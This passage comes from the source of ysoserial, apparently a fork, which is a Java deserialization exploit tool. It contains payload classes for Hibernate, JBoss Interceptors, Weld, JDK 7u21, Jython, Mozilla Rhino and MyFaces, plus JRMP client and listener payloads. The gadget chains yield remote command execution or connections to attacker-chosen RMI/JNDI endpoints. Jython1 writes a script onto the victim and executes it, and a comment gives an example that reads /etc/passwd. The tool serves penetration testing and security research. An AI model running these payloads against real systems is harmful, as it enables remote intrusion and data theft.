ysoserial.payloads.annotation.Authors; 5 | import ysoserial.payloads.annotation.PayloadTest; 6 | import ysoserial.payloads.util.JavaVersion; 7 | import ysoserial.payloads.util.PayloadRunner; 8 | 9 | import com.sun.rowset.JdbcRowSetImpl; 10 | 11 | 12 | /** 13 | * 14 | * Another application filter bypass 15 | * 16 | * Needs a getter invocation that is provided by hibernate here 17 | * 18 | * javax.naming.InitialContext.InitialContext.lookup() 19 | * com.sun.rowset.JdbcRowSetImpl.connect() 20 | * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() 21 | * org.hibernate.property.access.spi.GetterMethodImpl.get() 22 | * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() 23 | * org.hibernate.type.ComponentType.getPropertyValue(C) 24 | * org.hibernate.type.ComponentType.getHashCode() 25 | * org.hibernate.engine.spi.TypedValue$1.initialize() 26 | * org.hibernate.engine.spi.TypedValue$1.initialize() 27 | * org.hibernate.internal.util.ValueHolder.getValue() 28 | * org.hibernate.engine.spi.TypedValue.hashCode() 29 | * 30 | * 31 | * Requires: 32 | * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) 33 | * 34 | * Arg: 35 | * - JNDI name (i.e. rmi:) 36 | * 37 | * Yields: 38 | * - JNDI lookup invocation (e.g. connect to remote RMI) 39 | * 40 | * @author mbechler 41 | */ 42 | @SuppressWarnings ( { 43 | "restriction" 44 | } ) 45 | @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion") 46 | @Authors({ Authors.MBECHLER }) 47 | public class Hibernate2 implements ObjectPayload, DynamicDependencies { 48 | public static boolean isApplicableJavaVersion() { 49 | return JavaVersion.isAtLeast(7); 50 | } 51 | 52 | public static String[] getDependencies () { 53 | return Hibernate1.getDependencies(); 54 | } 55 | 56 | public Object getObject ( String command ) throws Exception { 57 | JdbcRowSetImpl rs = new JdbcRowSetImpl(); 58 | rs.setDataSourceName(command); 59 | return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); 60 | } 61 | 62 | 63 | public static void main ( final String[] args ) throws Exception { 64 | PayloadRunner.run(Hibernate2.class, args); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JBossInterceptors1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.jboss.interceptor.builder.InterceptionModelBuilder; 5 | import org.jboss.interceptor.builder.MethodReference; 6 | import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; 7 | import org.jboss.interceptor.proxy.InterceptorMethodHandler; 8 | import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; 9 | import org.jboss.interceptor.reader.DefaultMethodMetadata; 10 | import org.jboss.interceptor.reader.ReflectiveClassMetadata; 11 | import org.jboss.interceptor.reader.SimpleInterceptorMetadata; 12 | import org.jboss.interceptor.spi.instance.InterceptorInstantiator; 13 | import org.jboss.interceptor.spi.metadata.InterceptorReference; 14 | import org.jboss.interceptor.spi.metadata.MethodMetadata; 15 | import org.jboss.interceptor.spi.model.InterceptionModel; 16 | import org.jboss.interceptor.spi.model.InterceptionType; 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JBossInterceptors1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JBossInterceptors1.class, args); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JRMPClient.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.lang.reflect.Proxy; 5 | import java.rmi.registry.Registry; 6 | import java.rmi.server.ObjID; 7 | import java.rmi.server.RemoteObjectInvocationHandler; 8 | import java.util.Random; 9 | 10 | import sun.rmi.server.UnicastRef; 11 | import sun.rmi.transport.LiveRef; 12 | import sun.rmi.transport.tcp.TCPEndpoint; 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.PayloadTest; 15 | import ysoserial.payloads.util.PayloadRunner; 16 | 17 | 18 | /** 19 | * 20 | * 21 | * UnicastRef.newCall(RemoteObject, Operation[], int, long) 22 | * DGCImpl_Stub.dirty(ObjID[], long, Lease) 23 | * DGCClient$EndpointEntry.makeDirtyCall(Set, long) 24 | * DGCClient$EndpointEntry.registerRefs(List) 25 | * DGCClient.registerRefs(Endpoint, List) 26 | * LiveRef.read(ObjectInput, boolean) 27 | * UnicastRef.readExternal(ObjectInput) 28 | * 29 | * Thread.start() 30 | * DGCClient$EndpointEntry.(Endpoint) 31 | * DGCClient$EndpointEntry.lookup(Endpoint) 32 | * DGCClient.registerRefs(Endpoint, List) 33 | * LiveRef.read(ObjectInput, boolean) 34 | * UnicastRef.readExternal(ObjectInput) 35 | * 36 | * Requires: 37 | * - JavaSE 38 | * 39 | * Argument: 40 | * - host:port to connect to, host only chooses random port (DOS if repeated many times) 41 | * 42 | * Yields: 43 | * * an established JRMP connection to the endpoint (if reachable) 44 | * * a connected RMI Registry proxy 45 | * * one system thread per endpoint (DOS) 46 | * 47 | * @author mbechler 48 | */ 49 | @SuppressWarnings ( { 50 | "restriction" 51 | } ) 52 | @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") 53 | @Authors({ Authors.MBECHLER }) 54 | public class JRMPClient extends PayloadRunner implements ObjectPayload { 55 | 56 | public Registry getObject ( final String command ) throws Exception { 57 | 58 | String host; 59 | int port; 60 | int sep = command.indexOf(':'); 61 | if ( sep < 0 ) { 62 | port = new Random().nextInt(65535); 63 | host = command; 64 | } 65 | else { 66 | host = command.substring(0, sep); 67 | port = Integer.valueOf(command.substring(sep + 1)); 68 | } 69 | ObjID id = new ObjID(new Random().nextInt()); // RMI registry 70 | TCPEndpoint te = new TCPEndpoint(host, port); 71 | UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); 72 | RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); 73 | Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { 74 | Registry.class 75 | }, obj); 76 | return proxy; 77 | } 78 | 79 | 80 | public static void main ( final String[] args ) throws Exception { 81 | Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); 82 | PayloadRunner.run(JRMPClient.class, args); 83 | System.out.println("结束"); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JRMPListener.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.rmi.server.RemoteObject; 5 | import java.rmi.server.RemoteRef; 6 | import java.rmi.server.UnicastRemoteObject; 7 | 8 | import sun.rmi.server.ActivationGroupImpl; 9 | import sun.rmi.server.UnicastServerRef; 10 | import ysoserial.payloads.annotation.Authors; 11 | import ysoserial.payloads.annotation.PayloadTest; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /** 17 | * Gadget chain: 18 | * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 19 | * UnicastRemoteObject.reexport() line: 266 20 | * UnicastRemoteObject.exportObject(Remote, int) line: 320 21 | * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 22 | * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 23 | * LiveRef.exportObject(Target) line: 147 24 | * TCPEndpoint.exportObject(Target) line: 411 25 | * TCPTransport.exportObject(Target) line: 249 26 | * TCPTransport.listen() line: 319 27 | * 28 | * Requires: 29 | * - JavaSE 30 | * 31 | * Argument: 32 | * - Port number to open listener to 33 | */ 34 | @SuppressWarnings ( { 35 | "restriction" 36 | } ) 37 | @PayloadTest( skip = "This test would make you potentially vulnerable") 38 | @Authors({ Authors.MBECHLER }) 39 | public class JRMPListener extends PayloadRunner implements ObjectPayload { 40 | 41 | public UnicastRemoteObject getObject ( final String command ) throws Exception { 42 | int jrmpPort = Integer.parseInt(command); 43 | UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { 44 | RemoteRef.class 45 | }, new Object[] { 46 | new UnicastServerRef(jrmpPort) 47 | }); 48 | 49 | Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); 50 | return uro; 51 | } 52 | 53 | 54 | public static void main ( final String[] args ) throws Exception { 55 | PayloadRunner.run(JRMPListener.class, args); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JavassistWeld1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; 5 | import org.jboss.weld.interceptor.builder.MethodReference; 6 | import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; 7 | import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; 8 | import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; 9 | import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; 10 | import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; 11 | import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; 12 | import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; 13 | import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; 14 | import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; 15 | import org.jboss.weld.interceptor.spi.model.InterceptionModel; 16 | import org.jboss.weld.interceptor.spi.model.InterceptionType; 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JavassistWeld1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JavassistWeld1.class, args); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.LinkedHashSet; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.annotation.PayloadTest; 12 | import ysoserial.payloads.util.Gadgets; 13 | import ysoserial.payloads.util.JavaVersion; 14 | import ysoserial.payloads.util.PayloadRunner; 15 | import ysoserial.payloads.util.Reflections; 16 | 17 | 18 | /* 19 | 20 | Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has 21 | the same JRE version requirements. 22 | 23 | See: https://gist.github.com/frohoff/24af7913611f8406eaf3 24 | 25 | Call tree: 26 | 27 | LinkedHashSet.readObject() 28 | LinkedHashSet.add() 29 | ... 30 | TemplatesImpl.hashCode() (X) 31 | LinkedHashSet.add() 32 | ... 33 | Proxy(Templates).hashCode() (X) 34 | AnnotationInvocationHandler.invoke() (X) 35 | AnnotationInvocationHandler.hashCodeImpl() (X) 36 | String.hashCode() (0) 37 | AnnotationInvocationHandler.memberValueHashCode() (X) 38 | TemplatesImpl.hashCode() (X) 39 | Proxy(Templates).equals() 40 | AnnotationInvocationHandler.invoke() 41 | AnnotationInvocationHandler.equalsImpl() 42 | Method.invoke() 43 | ... 44 | TemplatesImpl.getOutputProperties() 45 | TemplatesImpl.newTransformer() 46 | TemplatesImpl.getTransletInstance() 47 | TemplatesImpl.defineTransletClasses() 48 | ClassLoader.defineClass() 49 | Class.newInstance() 50 | ... 51 | MaliciousClass.() 52 | ... 53 | Runtime.exec() 54 | */ 55 | 56 | @SuppressWarnings({ "rawtypes", "unchecked" }) 57 | @PayloadTest ( precondition = "isApplicableJavaVersion") 58 | @Dependencies() 59 | @Authors({ Authors.FROHOFF }) 60 | public class Jdk7u21 implements ObjectPayload { 61 | 62 | public Object getObject(final String command) throws Exception { 63 | final Object templates = Gadgets.createTemplatesImpl(command); 64 | 65 | String zeroHashCodeStr = "f5a5a608"; 66 | 67 | HashMap map = new HashMap(); 68 | map.put(zeroHashCodeStr, "foo"); 69 | 70 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 71 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 72 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 73 | 74 | LinkedHashSet set = new LinkedHashSet(); // maintain order 75 | set.add(templates); 76 | set.add(proxy); 77 | 78 | Reflections.setFieldValue(templates, "_auxClasses", null); 79 | Reflections.setFieldValue(templates, "_class", null); 80 | 81 | map.put(zeroHashCodeStr, templates); // swap in real object 82 | 83 | return set; 84 | } 85 | 86 | public static boolean isApplicableJavaVersion() { 87 | JavaVersion v = JavaVersion.getLocalVersion(); 88 | return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); 89 | } 90 | 91 | public static void main(final String[] args) throws Exception { 92 | PayloadRunner.run(Jdk7u21.class, args); 93 | } 94 | 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Jython1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.io.FileUtils; 4 | import org.python.core.*; 5 | 6 | import java.math.BigInteger; 7 | import java.io.File; 8 | import java.lang.reflect.Proxy; 9 | import java.util.Arrays; 10 | import java.util.Comparator; 11 | import java.util.PriorityQueue; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.util.Reflections; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | 19 | /** 20 | * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) 21 | * 22 | * This version of Jython1 writes a python script on the victim machine and 23 | * executes it. The format of the parameters is: 24 | * 25 | * ; 26 | * 27 | * Where local path is the python script's location on the attack box and 28 | * remote path is the location where the script will be written/executed from. 29 | * For example: 30 | * 31 | * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" 32 | * 33 | * In the above example, if "read_etc_passwd.py" simply contained the string: 34 | * 35 | * raise Exception(open('/etc/passwd', 'r').read()) 36 | * 37 | * Then, when deserialized, the script will read in /etc/passwd and raise an 38 | * exception with its contents (which could be useful if the target returns 39 | * exception information). 40 | */ 41 | 42 | @PayloadTest(skip="non RCE") 43 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 44 | @Dependencies({ "org.python:jython-standalone:2.5.2" }) 45 | @Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 }) 46 | public class Jython1 extends PayloadRunner implements ObjectPayload { 47 | 48 | public PriorityQueue getObject(String command) throws Exception { 49 | 50 | String[] paths = command.split(";"); 51 | if (paths.length != 2) { 52 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); 53 | } 54 | 55 | // Set payload parameters 56 | String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); 57 | 58 | // Python bytecode to write a file on disk and execute it 59 | String code = 60 | "740000" + //0 LOAD_GLOBAL 0 (open) 61 | "640100" + //3 LOAD_CONST 1 (remote path) 62 | "640200" + //6 LOAD_CONST 2 ('w+') 63 | "830200" + //9 CALL_FUNCTION 2 64 | "7D0000" + //12 STORE_FAST 0 (file) 65 | 66 | "7C0000" + //15 LOAD_FAST 0 (file) 67 | "690100" + //18 LOAD_ATTR 1 (write) 68 | "640300" + //21 LOAD_CONST 3 (python code) 69 | "830100" + //24 CALL_FUNCTION 1 70 | "01" + //27 POP_TOP 71 | 72 | "7C0000" + //28 LOAD_FAST 0 (file) 73 | "690200" + //31 LOAD_ATTR 2 (close) 74 | "830000" + //34 CALL_FUNCTION 0 75 | "01" + //37 POP_TOP 76 | 77 | "740300" + //38 LOAD_GLOBAL 3 (execfile) 78 | "640100" + //41 LOAD_CONST 1 (remote path) 79 | "830100" + //44 CALL_FUNCTION 1 80 | "01" + //47 POP_TOP 81 | "640000" + //48 LOAD_CONST 0 (None) 82 | "53"; //51 RETURN_VALUE 83 | 84 | // Helping consts and names 85 | PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; 86 | String[] names = new String[]{"open", "write", "close", "execfile"}; 87 | 88 | // Generating PyBytecode wrapper for our python bytecode 89 | PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); 90 | Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); 91 | 92 | // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method 93 | PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); 94 | 95 | // Prepare Trigger Gadget 96 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); 97 | PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 98 | Object[] queue = new Object[] {1,1}; 99 | Reflections.setFieldValue(priorityQueue, "queue", queue); 100 | Reflections.setFieldValue(priorityQueue, "size", 2); 101 | 102 | return priorityQueue; 103 | } 104 | 105 | public static void main(final String[] args) throws Exception { 106 | PayloadRunner.run(Jython1.class, args); 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/MozillaRhino1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.mozilla.javascript.*; 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.Dependencies; 7 | import ysoserial.payloads.annotation.PayloadTest; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.JavaVersion; 10 | import ysoserial.payloads.util.PayloadRunner; 11 | import ysoserial.payloads.util.Reflections; 12 | 13 | import javax.management.BadAttributeValueExpException; 14 | import java.lang.reflect.Constructor; 15 | import java.lang.reflect.Field; 16 | import java.lang.reflect.Method; 17 | 18 | /* 19 | by @matthias_kaiser 20 | */ 21 | @SuppressWarnings({"rawtypes", "unchecked"}) 22 | @PayloadTest( precondition = "isApplicableJavaVersion") 23 | @Dependencies({"rhino:js:1.7R2"}) 24 | @Authors({ Authors.MATTHIASKAISER }) 25 | public class MozillaRhino1 implements ObjectPayload { 26 | 27 | public Object getObject(final String command) throws Exception { 28 | 29 | Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); 30 | Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); 31 | Reflections.setAccessible(nativeErrorConstructor); 32 | IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); 33 | 34 | Context context = Context.enter(); 35 | 36 | NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); 37 | 38 | Method enterMethod = Context.class.getDeclaredMethod("enter"); 39 | NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); 40 | idScriptableObject.setGetterOrSetter("name", 0, method, false); 41 | 42 | Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); 43 | NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); 44 | idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); 45 | 46 | Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); 47 | Reflections.setAccessible(getSlot); 48 | Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); 49 | Field getter = slot.getClass().getDeclaredField("getter"); 50 | Reflections.setAccessible(getter); 51 | 52 | Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); 53 | Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); 54 | Reflections.setAccessible(memberboxClassConstructor); 55 | Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); 56 | getter.set(slot, memberboxes); 57 | 58 | NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); 59 | idScriptableObject.setPrototype(nativeObject); 60 | 61 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 62 | Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); 63 | Reflections.setAccessible(valField); 64 | valField.set(badAttributeValueExpException, idScriptableObject); 65 | 66 | return badAttributeValueExpException; 67 | } 68 | 69 | public static void main(final String[] args) throws Exception { 70 | PayloadRunner.run(MozillaRhino1.class, args); 71 | } 72 | 73 | public static boolean isApplicableJavaVersion() { 74 | return JavaVersion.isBadAttrValExcReadObj(); 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Myfaces1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | 5 | import javax.el.ELContext; 6 | import javax.el.ExpressionFactory; 7 | import javax.el.ValueExpression; 8 | import javax.servlet.ServletContext; 9 | import javax.servlet.ServletRequest; 10 | import javax.servlet.ServletResponse; 11 | 12 | import org.apache.myfaces.context.servlet.FacesContextImpl; 13 | import org.apache.myfaces.context.servlet.FacesContextImplBase; 14 | import org.apache.myfaces.el.CompositeELResolver; 15 | import org.apache.myfaces.el.unified.FacesELContext; 16 | import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; 17 | 18 | import ysoserial.payloads.annotation.Authors; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.PayloadRunner; 22 | import ysoserial.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * ValueExpressionImpl.getValue(ELContext) 28 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 29 | * ValueExpressionMethodExpression.getMethodExpression() 30 | * ValueExpressionMethodExpression.hashCode() 31 | * HashMap.hash(Object) 32 | * HashMap.readObject(ObjectInputStream) 33 | * 34 | * Arguments: 35 | * - an EL expression to execute 36 | * 37 | * Requires: 38 | * - MyFaces 39 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 40 | * 41 | * @author mbechler 42 | */ 43 | @PayloadTest(skip="Requires running MyFaces, no direct execution") 44 | @Authors({ Authors.MBECHLER }) 45 | public class Myfaces1 implements ObjectPayload, DynamicDependencies { 46 | 47 | public Object getObject ( String command ) throws Exception { 48 | return makeExpressionPayload(command); 49 | } 50 | 51 | 52 | public static String[] getDependencies () { 53 | if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { 54 | return new String[] { 55 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 56 | "org.mortbay.jasper:apache-el:8.0.27", 57 | "javax.servlet:javax.servlet-api:3.1.0", 58 | 59 | // deps for mocking the FacesContext 60 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 61 | }; 62 | } else if ( "juel".equals(System.getProperty("el")) ) { 63 | return new String[] { 64 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 65 | "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", 66 | "javax.servlet:javax.servlet-api:3.1.0", 67 | 68 | // deps for mocking the FacesContext 69 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 70 | }; 71 | } 72 | 73 | throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); 74 | } 75 | 76 | public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { 77 | FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); 78 | ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); 79 | Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); 80 | ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); 81 | 82 | ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); 83 | ValueExpressionMethodExpression e = new 